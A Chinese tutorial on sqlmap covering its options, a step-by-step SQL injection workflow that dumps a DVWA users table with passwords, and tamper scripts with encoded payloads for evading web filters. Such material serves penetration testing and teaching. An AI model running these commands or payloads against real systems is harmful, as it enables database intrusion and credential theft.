SQLMAP命令详解

Wesley13
• 阅读 547

Options

--version:显示当前sqlmap的版本号

-h:显示帮助信息

-hh:显示详细的帮助信息

-v VERBOSE:详细级别,VERBOSE为数字,默认为1

Target

-d DIRECT:直接连接到数据库

-u URL--url=URL:目标地址(URL)

-l LOGFILE:从Burp或WebScarab代理的日志中解析目标

-x SITEMAPURL:从一个XML文件中解析目标

-m BULKFILE:扫描文本文件中的多个目标

-r REQUESTFILE:从文件中导入HTTP请求(通常用于检查POST请求中的SQL注入)

-g GOOGLEDORK:处理Google Dork的结果作为目标URL

-c CONFIGFILE:从ini文件中加载选项

Request

--method=MEHOTD:强制指定HTTP方法(如PUT)

--data=DATA:指定POST请求的参数

--param-del=PARAMDEL:指定参数的分隔符(如:&)

--cookie=COOKIE:指定HTTP请求的Cookie

--cookie-del=COOKIEDEL:指定Cookie的分隔符(如:分号;)

--load-cookies=LOADCOOKIES:指定以Netscape或wget且包含cookie的文件

--drop-set-cookie:忽略返回包中的Set-Cookie字段

--user-agent:指定HTTP头部的user-agent值

--random-agent:设置随机的HTTP User-Agent

--host=HOST:指定HTTP头部的host值

--referer=REFERER:指定HTTP头部中的referer值

-H=HEADER:指定HTTP其他头部信息

--headers=HEADERS:指定HTTP其他头部信息

--auth-type=AUTHTYPE:指定HTTP的认证类型(Basic,Digest,NTLM,PKI)

--auth-cred=AUTHCRED:指定HTTP认证凭证(name:password)

--auth-file=AUTHFILE:指定HTTP认证PEM认证/私钥文件

--ignore-code=IGNORECODE:忽略指定的HTTP错误码(如:401)

--ignore-proxy:忽略系统默认代理

--ignore-redirects:忽略重定向尝试

--ignore-timeouts:忽略连接超时

--proxy=PROXY:指定代理地址

--proxy-cred=PROXYCRED:指定代理认证凭据(name:password)

--proxy-file=PROXYFILE:从指定文件中加载代理数据

--tor:使用tor匿名网络(通常需要提高默认的响应时长,且需要指定Tor的代理地址)

--tor-port=TORPORT:设置TOR代理的端口(修改默认端口)

--tor-type=TORTYPE:设置TOR代理的类型(HTTP,SOCKS4,SOCKS5默认)

--check-tor:检查tor能否正常使用

--delay=DELAY:设置每个HTTP请求的间隔时间(单位:秒)

--timeout=TIMEOUT:设置超时连接前等待的时间(单位:秒)

--retries=RETRIES:设置连接超时重新尝试的次数(默认为3)

--randomize=RPARAM:随机更改给定参数的值

--safe-url=SAFEURL:指定在测试期间频繁访问的URL

--safe-post=SAFEPOST:POST数据发送到安全URL

--safe-req=SAFEREQ:从文件中加载HTTP请求

--safe-freq=SAFEFREQ:在两次访问安全网址之间的测试请求

--skip-urlencode:跳过经过URL编码的payload数据

--csrf-token=CSRFTOKEN:指定CSRF-TOKEN值

--csrf-url=CSRFURL:指定提取CSRF-TOKEN的URL值

--force-ssl:强制使用SSL协议

--hpp:使用HTTP参数pollution的方法

--eval:评估请求之前提供Python代码

Optimization

-o:开启所有优化开关

--predict-output:预测常见的查询输出

--keep-alive:使用持久的HTTP(S)连接

--null-connection:从没有实际的HTTP响应体中检索页面长度

--threads=THREADS:设置请求的并发数

Injection

-p TESTPARAMETER:指定需要测试的参数

--skip=SKIP:跳过指定参数的测试

--skip-static:跳过非动态参数的测试

--param-exclude=PARAMEXCLUDE:使用正则排除要测试的参数

--dbms=DBMS:强制指定数据库管理系统的类型

--dbms-cred=DBMSCRED:指定DBMS认证凭证(name:password)

--os=OS:指定后端DBMS的操作系统

--invalid-logical:使用大数字使值无效

--invalid-string:使用随机字符串使值无效

no-cast:关闭有效载荷

--no-escape:关闭字符串转义机制

--prefix=PREFIX:注入payload字符串前缀

--suffix=SUFFIX:注入payload字符串后缀

--tamper=TAMPER:使用给定脚本篡改注入数据

Detection

--level=LEVEL:指定执行检测的等级(1-5,默认为1)

--risk=RISK:指定执行检测的风险(1-5,默认为1)

--string=STRING:查询有效时在页面匹配字符串

--not-string=NOTSTRING:查询无效时在页面匹配字符串

--regexp=REGEXP:查询有效时在页面匹配正则表达式

--code=CODE:查询有效时匹配的HTTP返回码

--text-only:基于文本内容比较网页

--titles:基于标题比较网页

Techniques

--technique=TECH:指定SQL注入的技术(默认为BEUST)

--time-sec=TIMESEC:DBMS响应的延迟时间

--union-cols=UCOLS:指定UNION查询注入使用的列

--union-char=UCHAR:指定暴力猜解列数的字符

--union-from=UFROM:指定UNION查询注入的FROM部分使用的表

--dns-domain=DNSDOMAIN:域名用于DNS漏出攻击

Enumeration

-a--all:检索一切

-b,--banner:检索数据库管理系统的标识

--current-user:检索数据库管理系统的当前用户名

--current-db:检索DBMS的当前数据库名称

--hostname:检索数据库服务器的主机名

--is-dba:检测DBMS当前用户是否为DBA

--users:枚举DBMS的用户名

--passwords:枚举DBMS用户密码哈希

--privileges:枚举DBMS用户的权限

--roles:枚举DBMS用户的角色

--dbs:枚举DBMS所有的数据库名称

--tables:枚举DBMS数据库中所有的表

--columns:枚举DBMS数据库表中所有的列名

--schema:枚举数据库架构

--count:检索表的记录数

--dump:转储DBMS的数据库中的表项

--dump-all:转储DBMS的数据库中的所有表项

--search:搜索列、表、数据库名称

--commnets:检索数据库的comments

-D DB:指定要枚举的数据库名称

-T TBL:指定要枚举的数据表名称

-C COL:指定要枚举的数据库列名

-X EXCLUDECOL:指定不要枚举的数据库列名

-U USER:指定要进行枚举的数据库用户名

--exclude-sysdbs:枚举表时排除系统数据库

--where=DUMPWHERE:使用WHERE条件表转储

--start=LIMITSTART:第一个查询输出进入检索

--stop=LIMITSTOP:最后查询的输出进入检索

--first=FIRSTCHAR:第一个查询输出字的字符检索

--last=LASTCHAR:最后查询的输出字字符检索

--sql-query=QUERY:要执行的SQL语句

--sql-file=SQLFILE:从给定文件中执行SQL语句

  1. HTTP Get请求

    ## 指定参数和Cookie
    sqlmap -u "http://xxx.com/1.php?id=1" --cookies="COOKIE" -p id
    
    
    ## 忽略参数,指定分隔符
    sqlmap -u "http://xxx.com/1.php?id=1&username=jack" --param-del=& --skip=username
    
  2. HTTP Post请求

    ## 直接从文件导入
    sqlmap -r 1.txt -p id
    
    
    ## 自定义
    sqlmap -u "http://xxx.com/1.php" --data="id=1&username=jack" --cookie="COOKIE" -p id
    

一般的注入步骤

  1. 检查是否存在注入

    sqlmap -r 1.txt -p id

  2. 简单的信息获取

    ## 获取数据库版本信息
    sqlmap -r 1.txt -p id --banner
    ## 获取当前数据库名称
    sqlmap -r 1.txt -p id --current-db
    ## 获取数据库中所有数据库名称
    sqlmap -r 1.txt -p id --dbs
    ## 获取数据库当前用户名
    sqlmap -r 1.txt -p id --current-user
    ## 获取数据库所有用户名
    sqlmap -r 1.txt -p id --users
    ## 检查数据库当前用户是否为DBA
    sqlmap -r 1.txt -p id --is-dba
    
  3. 获取数据库中的数据

    ## 获取数据表名称
    sqlmap -r 1.txt -p id -D dvwa --tables
    ## 获取数据表中的列名称
    sqlmap -r 1.txt -p id -D dvwa -T users --columns
    ## 获取单个表中自定义列中的数据
    sqlmap -r 1.txt -p id -D dvwa -T users -C user,password --dump
    ## 获取单个表数据
    sqlmap -r 1.txt -p id -D dvwa -T users --dump
    ## 获取单个数据库中所有表中的数据
    sqlmap -r 1.txt -p id -D dvwa --dump
    

tamper介绍

数据库

脚本名

描述

举例

通用

apostrophemask.py

utf8替代引号

base64encode.py

用base64编码转换

multiplespaces.py

围绕SQL关键字添加多个空格

space2plus.py

用+替换空格

nonrecursivereplacement.py

双重查询语句

space2randomblank.py

用一个随机的空白字符替换空格字符

unionalltounion.py

用UNION SELECT替换UNION ALL SELECT

securesphere.py

追加自定义字符串

mssql

space2hash.py

空格替换为#号、随机字符串、换行符

equaltolike.py

LIKE替换等于号(=)

space2mssqlblank.py

用其他空符号替换空格字符

space2mssqlhash.py

用%23%0A替换空格字符

between.py

用between替换大于号

percentage.py

在每个字符前添加%

sp_password.py

在有效载荷后添加sp_password

charencode.py

url编码

randomcase.py

随机大小写

charunicodeencode.py

unicode编码字符串

space2comment.py

用注释替换空格

mysql

equaltolike.py

like代替等号(=)

greatest.py

绕过对大于号的过滤,用GREATEST替换大于号

apostrophenullencode.py

绕过对双引号的过滤,替换字符和双引号

ifnull2ifisnull.py

绕过对IFNULL的过滤,用IF(ISNULL(A),B,A)代替IFNULL

space2mssqlhash.py

用%23%0A替换空格

modsecurityversioned.py

过滤空格,包含完整的查询版本注释

space2mysqlblank.py

用其他空白字符替换空格

between.py

用between替换大于号

modsecurityzeroversioned.py

包含了完整的查询与零版本注释

space2mysqldash.py

用--%0A替换空格字符

bluecoat.py

用随机空白字符替换空格,用LIKE替换等于号(=)

percentage.py

在每个字符前加百分号

charencode.py

url编码

randomcase.py

随机大小写

versionedkeywords.py

用版本化的MySQL注释包含每个非函数关键字

space2comment.py

用注释替换空格

charunicodeencode.py

用unicode编码字符串

versionedmorekeywords.py

用更多的版本化的MySQL注释包含每个非函数关键字

halfversionedmorekeywords.py

关键字前加注释

space2morehash.py

空格替换为#号和其他随机字符串

oracle

greatest.py

用GREATEST替换大于号

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号

between.py

用between替换大于号

charencode.py

url编码

randomcase.py

随机大小写

charunicodeencode.py

unicode编码

space2comment.py

用注释替换空格

Access

appendnullbyte.py

在有效载荷结束位置加零字节字符编码

脚本及功能介绍

space2plus

用+替换空格

// old
select id from users
// new
select+id+from+users

space2hash

空格替换为#号(%23) 随机字符串 换行符(%0A)

// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2

space2morehash

空格替换为#号(%23) 更多随机字符串 换行符(%0A)

// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2

space2mysqldash

替换空格为--%0A

// old
1 and 2=2
// new
1--%0Aand--%0A2=2

space2randomblank

将空格替换为随机空白字符的字符集

// old
select id from users
// new
select%0Did%0Dfrom%0Ausers

space2mssqlblank

空格替换为其他空白字符

// old
select id from users
// new
select%08id%02from%0Fusers

space2mssqlhash

空格替换为%23%0A

// old
1 and 2=2
// new
1%23%0Aand%23%0A2=2

space2comment

空格替换为注释

// old
select id from users
//new
select//id//from/**/users

between

将大于号(>)替换为between

// old
1 and A>B
// new
1 and A not between 0 and B

greatest

将大于号(>)替换为greatest

// old
1 and A>B
// new
1 and greatest(A,B+1)=A

equaltolike

将等于号(=)替换为like

// old
select * from users where id=1
// new
select * from users where id like 1

bluecoat

将空格替换为一个随机的空白字符,同时将等于号(=)替换为like

// old
select id from users where id=1
// new
select%09id from users where id like 1

modsecurityversioned

将空格替换为包含完整版本注释的字符串(当MySQL的版本大于等于指定的版本号时才会执行注释中的语法)

// old
1 and 2>1-- 
// new
1/*!30874AND 2>1*/--

modsecurityzeroversioned

将空格替换为包含完整版本注释与零版本注释的字符串

// old
1 and 2>1
// new
1/*!00000and 2>1*/--

versionedkeywords

为每个非函数关键字添加版本注释

// old
1 union all select null,null,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
// new
1/*!union**!all**!select**!null*/,/*!null*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

versionedmorekeywords

为每个关键字添加版本注释

// old
1 union select null,null,CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
// new
1/*!uninon**!select**!null*/,/*!null*/,/*!concat*/(/*!char*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

halfversionedmorekeywords

为每个关键字前添加注释 /*!0

// old
value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL# AND 'QDW'='QDWa
// new
value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),NULL,NULL#/*!0AND 'QDW'='QDWa

multiplespaces

围绕SQL关键字添加空格

// old
1 union select foobar
// new
1 union  select  foobar

nonrecursivereplacement

双重查询语句

// old
1 union select 2--
// new
1 ununionion selselectect 2--

unionalltounion

将union all select替换为union select

// old
1 union all select
// new
1 union select

securesphere

追加特制字符串

// old
1 and 1=1
// new
1 and 1=1 and 'ok'='ok'

percentage

每个字符前添加百分号(%)

// old
select id from users
// new
%s%e%l%e%c%t %i%d %f%r%o%m %u%s%e%r%s

appendnullbyte

在有效载荷末尾位置加载字节字符编码

// old
1 and 1=1
// new
1 and 1=1%00

randomcase

随机大小写

// old
insert
// new
InsErT

charencode

对所有字符串进行url编码

// old
SELECT FIELD FROM TABLE
// new
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

chardoubleencode

对所有字符串进行双重url编码

// old
SELECT FIELD FROM TABLE
// new
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

charunicodeencode

对所有字符串进行unicode编码

// old
SELECT FIELD FROM TABLE
// new
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

base64encode

对所有字符串进行base64编码

// old
1 and 1=1#
// new
MSBhbmQgMT0xIw==

总结

空格处理

  • space2plus.py
  • space2hash.py
  • space2morehash.py
  • space2mysqldash.py
  • space2randomblank.py
  • space2mssqlblank.py
  • space2mssqlhash.py
  • space2comment.py
  • modsecurityversioned.py
  • modsecurityzeroversioned.py

大于号处理

  • between.py
  • greatest.py

等于号处理

  • equaltolike.py
  • bluecoat.py

引号处理

  • apostrophemask.py:utf8替换引号
  • apostrophenullencode.py :替换字符和双引号

关键字处理

  • versionedkeywords.py

  • versionedmorekeywords.py

  • halfversionedmorekeywords.py

  • multiplespaces.py:多个关键字前加空格

  • nonrecursivereplacement.py:双重关键字

  • unionalltounion.py:union select替换union all select

  • securesphere.py:追加特制字符串

  • percentage.py:每个字符前加%

  • appendnullbyte.py:末尾添加零字节编码

语句处理

  • randomcase.py:大小写混淆
  • charencode.py:url编码
  • chardoublecode.py:双重url编码
  • charunicodeencode.py:unicode编码
  • base64encode.py:base64编码
点赞
收藏
评论区
推荐文章
blmius blmius
2年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Karen110 Karen110
2年前
一篇文章带你了解JavaScript日期
日期对象允许您使用日期(年、月、日、小时、分钟、秒和毫秒)。一、JavaScript的日期格式一个JavaScript日期可以写为一个字符串:ThuFeb02201909:59:51GMT0800(中国标准时间)或者是一个数字:1486000791164写数字的日期,指定的毫秒数自1970年1月1日00:00:00到现在。1\.显示日期使用
Jacquelyn38 Jacquelyn38
2年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
Wesley13 Wesley13
2年前
Java获得今日零时零分零秒的时间(Date型)
publicDatezeroTime()throwsParseException{    DatetimenewDate();    SimpleDateFormatsimpnewSimpleDateFormat("yyyyMMdd00:00:00");    SimpleDateFormatsimp2newS
Wesley13 Wesley13
2年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Wesley13 Wesley13
2年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
2年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
2年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
3个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这